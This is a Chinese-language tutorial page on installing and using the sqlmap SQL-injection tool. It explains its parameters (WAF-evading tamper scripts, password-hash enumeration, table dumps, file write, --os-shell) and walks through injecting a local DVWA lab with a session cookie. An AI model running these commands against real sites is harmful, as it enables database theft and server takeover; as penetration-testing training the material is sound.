当前位置: 首页 > news >正文

渗透测试工具:SQLmap安装教程及使用

在渗透测试的世界里,SQL注入攻击无疑是最常见且最具威胁的安全漏洞之一。幸运的是,SQLmap 这个强大的自动化工具,能够帮助我们快速识别和利用这些漏洞。如果你也想了解如何用 SQLmap 进行渗透测试,那么这篇文章就是为你准备的!

你是否还在手动检测数据库中的SQL注入漏洞?渗透测试中,如何快速且精准地识别漏洞?如果你能掌握 SQLmap,这一切将变得非常简单。今天我们就来聊聊 SQLmap 的安装及使用,让你的渗透测试更高效。

你是否还在手动检测数据库中的SQL注入漏洞?渗透测试中,如何快速且精准地识别漏洞?如果你能掌握 SQLmap,这一切将变得非常简单。今天我们就来聊聊 SQLmap 的安装及使用,让你的渗透测试更高效。

01 SQLmap简介

Sqlmap是一款开源的渗透测试工具

🚀下载及安装

下载地址:http://sqlmap.org/

windows或mac下载第一个,linux下载第二个

kali默认自带sqlmap不需要安装

图片

解压刚下载好的压缩包后,重命名为sqlmap

移动到python目录下

图片

复制sqlmap的路径,我的是D:\Python\SQLMap

图片

回到桌面,右击新建 > 快捷方式

图片

快捷方式名

图片

创建成功!右击选择属性,更改起始位置

图片

双击sqlmap的快捷图标,输入python sqlmap.py,验证是否安装成功

图片

02 SQLmap的使用

在注入的url中要包含参数和cookie值,通过sqlmap工具中--cookie参数带上cookie值

抓包查找cookie值后写在–cookie后方

图片

分析测试结果

图片

💦参数详解

1️⃣target:目标

-u 目标url-m 将目标地址保存在文件中,一行为一个URL地址进行批量检测-r 从文件中加载http请求-d  直接连接数据库的连接字符-l  从Burp或者websscarab代理日志文件中分析目标-x  从远程网站地图(sitemap.xml)文件来解析目标-g  从谷歌中加载结果目标url(只获取前100个结果,需要挂代理)-c  从配置ini文件中加载选项

目标URL

python sqlmap.py -u "目标url" --batch --cookie "cookie值"
  • –batch:sqlmap帮你判断选择yes或no

  • –cookie:登陆后扫描

从文本中获取多个目标扫描

python sqlmap.py -m 1.txt --batch

1.txt文件中保存url格式如下,sqlmap会一个一个检测

www.magedu1.com/vu1n1.php?q=q=studentwww.magedu2.com/vuln2.asp?id=1www.magedu3.com/vuln3/id/1*

从文件中加载http请求

python sqlmap.py -r 1.txt --batch

直接把bp抓到的请求包复制到一个文本文件里,这样可以让我们省去写cookie和url等参数

比如1.txt文本文件内容如下:

POST/students.phpHTTP/1.1Host:www.magedu.comUser-Agent:Mozilla/4.0id=1

2️⃣Request:请求设置

--method 指定请求方法--data 把数据以post方式提交--param 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数--cookie 设置提交请求的时候附带所设置的cookie--load-cookie 从文件获取cookie--user-agent 可以使用–user-anget参数来修改--headers 可以通过–headers参数来增加额外的http头--proxy 设置代理,可以避免本机地址被封禁--delay 可以设定两个HTTP(S)请求间的延迟防止发送过快导致被封ip--random-agent 使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入--referer 在请求目标的时候可以自己伪造请求包中的referer–-level 参数设定为3或者3以上的时候会尝试对referer注入--scope 利用正则过滤目标网址

把数据以POST方式提交

当参数写在url里会当成get方式,–data可以用post方式提交并进行检测

python sqlmap.py -u "http://www.baidu.com/students.php" --data="id=1" -f --banner --dbs --users

  • –banner:指纹信息

  • –dbs:数据库

  • –users:表名

利用正则过滤目标网址

python sqlmap.py -l burp_http.log --scope="(www)?\.tagdet\.(com|net|org)"

burp_http.log:从bp中加载的日志文件

避免过多的错误请求被屏蔽

sql注入的过程也可以理解成爆破的过程,在这么多的请求中也会有大量的报错请求,而有的网站会有一些保护机制,使用这个参数可以避免发送过多的错误请求导致ip被封掉

参数:–safe-url,–safe-freq

--safe-url:提供一个安全不错误的链接,每隔一段时间都会去访问一下--safe-freq:提供一个安全不错误的链接,每次测试请求之后都会在访问一遍安全连接

3️⃣Optimization:优化

-o  开启所有优化开关

4️⃣Injection:注入

-p 想要测试的参数-skip 不想要测试的参数--dbms 指定数据库,节省sqlmap的检测时间--os 指定数据库服务系统,节省sqlmap的检测时间--tamper 使用sqlmap自带的tamper(脚本),或者自己写的tamper,来混淆payload,通常用来绕过waf和ips

测试参数

-p:指定测试的参数

-p "id,user-anget"

–skip:指定要跳过的参数

--skip="user-agent,referer"

指定数据库服务器系统

参数:–OS

一方面可以提速,另一方面降低被发现的可能性

指定大数字来使值无效

参数:–invalid-bignum

当用户想指定一个报错的数值时,可以使用这个参数,比如指定id=9999999999

指定逻辑运算来使值无效

参数:–invalid-logical

原理同上,比如指定id=1 and 18=19结果为假,从而引起报错,让你查不到内容

5️⃣Detection:探测等级

--level=1 执行测试的等级(1~5,默认为1)--risk 共有四个风险等级(0~3)(慎用)

探测等级

参数:–level

共有5个等级,默认为1,最大为5

  • 1级:不会探测http header

  • 2级:探测加上cookie

  • 3级:探测加上HTTP User-Agent/Refere

总之在不确定哪个payload或者参数为注入点时,为了保证全面性,建议使用高的level值

风险等级

参数:–risk

共有3个风险等级,默认是1

  • 1会测试大部分的测试语句

  • 2会增加基于事件的测试语句

  • 3会增加or语句的SQL注入测试

有时候,例如在updata、delete的语句中,注入一个or的测试语句,可能导致更新或删除整个表,造成很大的风险

在工作中--risk谨慎使用,会对业务造成伤害

6️⃣fingerprint:指纹

-f ,--fingerprint 执行检查广泛的dbms版本指纹

7️⃣enumeration:枚举

-a,--all 获取所有信息-b,--banner 获取数据库挂你系统的表示--current-user   获取数据库管理系统当前数据库--hostname   获取数据库服务器的主机名称--is-dba          检测DBMS当前用户是否是DBA(数据库管理员)--users           枚举数据库管理系统用户--passwords       枚举数据库管理系统用户密码哈希--privieges   枚举数据库管理系统用户的权限--roles           枚举数据库管理系统用户的角色--dbs             枚举数据库管理系统数据库--tables          枚举DBMS数据库中的表--columns         枚举DBMS数据库中的表--schema          枚举数据库架构--count           检索表的项目数--dump            转储数据库表项,即下载--dump-all        转储数据库所有表项--search          搜索列(s),表(s)和/或数据库名称(s)--comments        获取DBMS注释-D                要进行枚举的指定数据库名-T                DBMS数据库表枚举-C                DBMS数据库表列枚举-X                DBMS数据库表不进行枚举-U                用来进行枚举的数据库用户--exclude-sysdbs  枚举表时排除系统数据库--pivot-column=p.. privot columnname--where=DUMPWHERE  USE WHEREcondition while table dumping--start=LIMITSTART 获取第一个查询输出数据位置--stop=LIMITSTOP   获取最后查询的输出数据--first=FIRSTCHAR  第一个查询输出字的字符获取--last=LASTCHAR    最后查询的输出字字符获取--sql-query=QUERY  要执行的SQL语句--sql-shell        提示交互式SQL的shell--sql-file=SQLFILE 要执行的SQL文件

标识

参数:-b,-banner

数据库版本信息

当前用户

参数:–current-user

当前数据库

参数:–current-db

当前用户是否为管理员

参数:–is-dba

列出数据库管理用户

参数:–users

列出并破解数据库用户的hash值

参数:–passwords

列出数据库系统中的数据库

参数:–dbs

python sqlmap.py -r 1.txt  --dbs

列举数据库表

参数:–tables、–exclude-sysdbs、-D

列举数据库表中的字段

参数:–columns,-C,-T,-D

8️⃣Brute force:爆破

--common-tables 检查存在共同表--common-columns 检查存在共同列--shared-lib=SHLIB 共享库的本地路径

9️⃣file system access:访问文件系统

--file-read 从后端的数据库管理系统读取文件--file-writeE上传文件到后端的数据库管理系统--file-dest 后端的数据库管理系统写入文件的绝对路径

读文件前提:要知道读这个文件的路径

图片

写文件:要指定上传文件,指定上传文件路径

图片

🔟Operating system access:访问操作系统

--os-cmd=OSCMD 执行操作系统命令--os-shell 交互式的操作系统的shell--os-pwn 获取一个OOB shell,meterpreter或VNC--os-smbrelay 一键获取一个OOB shellmeterpreter或VNC--os-bof 存储过程缓冲区溢出利用--priv-esc 数据库进程用户权限提升--msf-path=MSFPATH Metasploit Framework本地的安装路径--tmp-path=TMPPATH 远程临时文件目录的绝对路径

获取整个表的数据

参数:-dump,-C,-T,-D,–start,–stop,–first,–last

获取所有数据库表的内容

参数:–dump-all,–exclude-sysdbs

–dump-all获取所有数据库表的内容,可同时加上–exclude-sysdbs排除系统数据库,只获取用户数据库的表,即业务数据

字段、表、数据库

参数:–search -C,-T,-D

运行任意操作系统命令

参数:–os-cmd,–os-shell

图片

–os-shell:直接拿到操作系统的命令行

爬取网站url

参数:–crawl

sqlmap可以收集潜在的可能存在漏洞的链接,后面跟的参数是爬行的深度,此时的url可以不带参数

python sqlmap.py -u "http://www.baidu.com" --crawl=3

忽略在会话文件中存储的查询结果

参数:–fresh-queries

如果不想让历史的缓存数据,影响到本次缓存结果,就加上这个参数

自定义输出的路径

参数:–output-dir

默认把缓存结果保存在output文件夹下,可以通过这个参数进行修改

03 实际利用(DVWA)

当给sqlmap一个url时,它会:

  • 判断可注入的参数

  • 判断可以使用哪种SQL注入技术来注入

  • 识别出哪种数据库

  • 根据用户选择,读取哪些数据

dvwa使用sqlmap工具注入流程,如果你想看到sqlmap发送的测试payload最好的等级就是3

# 判断注入点,因系统需要登录所以要加cookiepython sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;security=low" -p id# 检测站点包含哪些数据库python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&submit=submit#" --cookie="PHPSESSIE=isgvp2rrv4uts46jbkb9bouq6ir;security=low" -p id --dbs

技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入“Y/N”来进行下一步操作,可以使用参数–batch命令来自动答复和判断

查看数据库管理系统中有哪些数据库

图片

图片

查看dvwa库下的所有表

图片

图片

查看users表中的字段

图片

图片

获取所有数据

图片

图片

随着网络安全威胁的日益增加,渗透测试在企业安全防护中扮演着越来越重要的角色。传统的手动测试方法已无法满足快速发展的需求,自动化渗透测试工具如 SQLmap 的出现,正是应对这一挑战的有效手段。

通过本文的介绍,相信你已经掌握了 SQLmap 的安装和基本使用方法。作为渗透测试人员,熟练运用 SQLmap 等自动化工具,将使你在实际工作中更加高效和专业。

"在渗透测试的世界里,掌握 SQLmap,就是掌握了快速发现和利用 SQL 注入漏洞的钥匙。"

 

相关文章:

渗透测试工具:SQLmap安装教程及使用

在渗透测试的世界里,SQL注入攻击无疑是最常见且最具威胁的安全漏洞之一。幸运的是,SQLmap 这个强大的自动化工具,能够帮助我们快速识别和利用这些漏洞。如果你也想了解如何用 SQLmap 进行渗透测试,那么这篇文章就是为你准备的&…...

4.SpringSecurity在分布式环境下的使用

参考 来源于黑马程序员: 手把手教你精通新版SpringSecurity 分布式认证概念说明 分布式认证,即我们常说的单点登录,简称SSO,指的是在多应用系统的项目中,用户只需要登录一次,就可以访 问所有互相信任的应…...

RocketMQ和Kafka如何实现顺序写入和顺序消费?

0 前言 先说明kafka,顺序写入和消费是Kafka的重要特性,但需要正确的配置和使用方式才能保证。本文需要解释清楚Kafka如何通过分区来实现顺序性,以及生产者和消费者应该如何配合。   首先,顺序写入。Kafka的消息是按分区追加写入…...

SQL联合查询

文章目录 MySQL系列:1.内连接2.外连接3.自连接4.子查询5.合并查询6.插入查询 MySQL系列: 初识MySQL,MySQL常用数据类型和表的操作,增删改查(CRUD)操作(总),数据库约束数据库设计 #班级表 drop table if exists class; create ta…...

deepseek:三个月备考高级系统架构师

一、备考总体规划(2025年2月11日 - 2025年5月) 1. 第一阶段:基础夯实(2025年2月11日 - 2025年3月10日) 目标:快速掌握系统架构师考试的核心知识点。 重点内容: 计算机组成原理、操作系统、数据…...

支持向量机原理

支持向量机(简称SVM)虽然诞生只有短短的二十多年,但是自一诞生便由于它良好的分类性能席卷了机器学习领域。如果不考虑集成学习的算法,不考虑特定的训练数据集,尤其在分类任务中表现突出。在分类算法中的表现SVM说是排…...

DeepSeek人工智能AI汽车营销销售培训讲师培训师唐兴通讲课汽车销售大数据存量客户数字化营销数字化销售大模型销售话术引流内容社群私域

唐兴通 数字商业创新实践专家、数字营销与销售顾问 沃顿商学院特邀演讲嘉宾|美国营销协会艾菲奖评委 核心专长: AI商业化应用、数字营销创新、数字新销售能力体系打造、数字化转型、 教学经历:从教20年,执教12所全球顶尖商学院…...

Molecular Communication(分子通信)与 Molecular Semantic Communication(分子语义通信)

1. 引言 随着传统无线通信在极端环境(如微观生物体内、海洋深处)中的局限性凸显,分子通信(Molecular Communication, MC)成为一种新型通信范式。分子通信通过分子作为信息载体,在纳米尺度上传输信息&#…...

Webpack代码分割、分割策略性能优化详解

在前端面试中,Webpack 是一个常见的考察点,特别是关于性能优化、构建配置以及代码分割等方面的问题。以下是 Webpack 常见问题详解,包括 代码分割 相关的内容。 1. Webpack 基础概念 1.1 Webpack 是什么? Webpack 是一个前端构建工具,主要用于将项目中的各种资源(JavaS…...

大脑网络与智力:基于图神经网络的静息态fMRI数据分析方法|文献速递-医学影像人工智能进展

Title 题目 Brain networks and intelligence: A graph neural network based approach toresting state fMRI data 大脑网络与智力:基于图神经网络的静息态fMRI数据分析方法 01 文献速递介绍 智力是一个复杂的构念,包含了多种认知过程。研究人员通…...

ArcGIS Pro显示缓存空间不足导致编辑或加载数据显示不完全

ArcGIS Pro对于显示缓存有32GB的限制,所以当缓存设置中,缓存将达到32GB时,会出现编辑、加载slpk显示不全的情况。 清除计算机上的显示缓存方法 1.启动 ArcGlS Pro。单击左下角的设置,然后单击选项; 2.在选项窗口中&…...

天童美语:观察你的生活

在孩子的认知里,世界宛如一片充满神秘色彩的未知之境,有着无尽的奥秘等待他们去探索。家长们,引导孩子用心观察世界,领略其中的美妙,这对孩子的成长进程有着极为关键的作用。贵阳天童教育相信:观察生活&…...

网络通信的基石:深入理解 TCP/IP 协议栈与 TCP/UDP 协议

博文题目:网络通信的基石:深入理解 TCP/IP 协议栈与 TCP/UDP 协议 引言 在当今数字化世界中,网络已经渗透到我们生活的方方面面。从浏览网页、收发邮件,到在线视频、远程会议,所有这些便捷的网络应用都离不开一个至关重要的基础设施——TCP/IP 协议栈。它就像是互联网的…...

数据结构-栈和队列的应用

目录 前言一、栈的应用(迷宫问题)1.1 问题描述1.2 算法选择1.3 算法精化1.4 算法实现1.5 问题结果 二、队列的应用(农夫过河问题)2.1 问题描述2.2 算法选择2.3 算法精化2.4 算法实现2.5 问题结果 总结 前言 本篇文章使用两个例子…...

SpringBoot Bug 日志

Spring 循环依赖问题 Bug如下 wxMpConfiguration → subscribeHandler → wxMsgServiceImpl → wxMpConfiguration 解决方案 方案实施方式注意事项接口抽象定义 WxMpService 接口,通过接口注入最佳设计实践 Setter 注入对非必要依赖使用 setter 方法降低耦合度 L…...

halo发布文章的插件问题分析

前言 在准备发文到 halo 系统的时候提示错误如下,全是乱码 尝试将 halo 插件卸载后,再将插件目录下的文件全部删除 插件目录在 C:\Users\Administrator\.vscode\extensions\halo-dev.halo-1.3.0 然后再重新安装插件,在进行初始化的时候依然…...

2.5 模块化迁移策略:从传统项目到模块化系统

模块化迁移策略:从传统项目到模块化系统 将传统 Java 项目迁移至 JDK 9 模块化系统是一项系统性工程,需分阶段实施以降低风险。以下是详细的迁移策略、工具使用和实战示例。 1. 迁移阶段划分 阶段目标关键操作阶段1:兼容性验证确保项目能在…...

java商城解决方案

数字化时代,电子商务已成为企业拓展市场的重要渠道。对于想要建立在线商店的企业来说,选择正确的技术堆栈至关重要。 Java作为一种成熟且广泛使用的编程语言,为构建购物中心提供了强大的功能和灵活性。 商城Java源码:商城开发的核…...

算法-哈希表篇05-四数相加II

四数相加II 力扣题目链接 题目描述 给你四个整数数组 nums1、nums2、nums3 和 nums4 &#xff0c;数组长度都是 n &#xff0c;请你计算有多少个元组 (i, j, k, l) 能满足&#xff1a; 0 < i, j, k, l < n nums1[i] nums2[j] nums3[k] nums4[l] 0 解题思路 把数…...

WPS或word接入智能AI

DeepSeek接入WPS 配置WPS &#xff08;1&#xff09;下载 OfficeAl助手插件: 插件下载地址:https://www.office-ai.cn/。 安装插件后&#xff0c;打开WPS&#xff0c;菜单栏会新增"OfficeAl助手”选项卡。 如果没有出现&#xff0c; 左上找到文件菜单 -> 选项 ,在…...

Chapter03-Authentication vulnerabilities

文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...

7.4.分块查找

一.分块查找的算法思想&#xff1a; 1.实例&#xff1a; 以上述图片的顺序表为例&#xff0c; 该顺序表的数据元素从整体来看是乱序的&#xff0c;但如果把这些数据元素分成一块一块的小区间&#xff0c; 第一个区间[0,1]索引上的数据元素都是小于等于10的&#xff0c; 第二…...

mongodb源码分析session执行handleRequest命令find过程

mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程&#xff0c;并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令&#xff0c;把数据流转换成Message&#xff0c;状态转变流程是&#xff1a;State::Created 》 St…...

linux 错误码总结

1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

视频字幕质量评估的大规模细粒度基准

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用&#xff0c;因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型&#xff08;VLMs&#xff09;在字幕生成方面…...

Java线上CPU飙高问题排查全指南

一、引言 在Java应用的线上运行环境中&#xff0c;CPU飙高是一个常见且棘手的性能问题。当系统出现CPU飙高时&#xff0c;通常会导致应用响应缓慢&#xff0c;甚至服务不可用&#xff0c;严重影响用户体验和业务运行。因此&#xff0c;掌握一套科学有效的CPU飙高问题排查方法&…...

AGain DB和倍数增益的关系

我在设置一款索尼CMOS芯片时&#xff0c;Again增益0db变化为6DB&#xff0c;画面的变化只有2倍DN的增益&#xff0c;比如10变为20。 这与dB和线性增益的关系以及传感器处理流程有关。以下是具体原因分析&#xff1a; 1. dB与线性增益的换算关系 6dB对应的理论线性增益应为&…...

IP如何挑?2025年海外专线IP如何购买?

你花了时间和预算买了IP&#xff0c;结果IP质量不佳&#xff0c;项目效率低下不说&#xff0c;还可能带来莫名的网络问题&#xff0c;是不是太闹心了&#xff1f;尤其是在面对海外专线IP时&#xff0c;到底怎么才能买到适合自己的呢&#xff1f;所以&#xff0c;挑IP绝对是个技…...

Caliper 负载(Workload)详细解析

Caliper 负载(Workload)详细解析 负载(Workload)是 Caliper 性能测试的核心部分,它定义了测试期间要执行的具体合约调用行为和交易模式。下面我将全面深入地讲解负载的各个方面。 一、负载模块基本结构 一个典型的负载模块(如 workload.js)包含以下基本结构: use strict;/…...

tomcat入门

1 tomcat 是什么 apache开发的web服务器可以为java web程序提供运行环境tomcat是一款高效&#xff0c;稳定&#xff0c;易于使用的web服务器tomcathttp服务器Servlet服务器 2 tomcat 目录介绍 -bin #存放tomcat的脚本 -conf #存放tomcat的配置文件 ---catalina.policy #to…...